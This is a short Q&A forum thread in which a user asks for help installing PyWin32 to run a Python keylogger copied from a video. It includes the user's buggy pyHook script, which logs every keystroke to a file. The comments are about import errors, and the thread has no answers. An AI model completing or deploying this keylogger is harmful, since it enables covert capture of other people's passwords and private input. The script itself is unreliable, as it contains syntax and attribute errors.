0

I want to write a keylogger using this video: https://www.youtube.com/watch?v=8BiOPBsXh0g

I've got PyHook but on PyWin32 I tried downloading it from the site given in the video. If anyone can send me a download link for it, I will be grateful and this would help me.

BTW I am using Python 2.7 because that is what PyHook is on, I wouldn't mind if you could send me both links for 3.6.3 either that would be good or guide me through it! :D

import pyHook, pythoncom, sys, logging

file_log - 'C:\\important\\log.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True


hooks_manager = pyHook.HookManager()
hooks_manager.manger.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
clemens
  • 16,716
  • 11
  • 50
  • 65
Jack Thomas
  • 193
  • 2
  • 3
  • 12
  • Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] on win32 Type "copyright", "credits" or "license()" for more information. >>> =============== RESTART: C:\Users\jacke\Desktop\Keylogger.pyw =============== Traceback (most recent call last): File "C:\Users\jacke\Desktop\Keylogger.pyw", line 1, in import pyHook, pythoncom, sys, logging ImportError: No module named pythoncom >>> – Jack Thomas Dec 05 '17 at 17:45
  • https://stackoverflow.com/questions/4145079/importerror-no-module-named-pythoncom – oshaiken Dec 05 '17 at 17:48
  • @oshaiken It says Python 2.7 cannot be found in registery! – Jack Thomas Dec 05 '17 at 17:55
  • https://www.activestate.com/activepython/downloads – oshaiken Dec 05 '17 at 17:56
  • @oshaiken No change has happened. – Jack Thomas Dec 05 '17 at 19:09

0 Answers0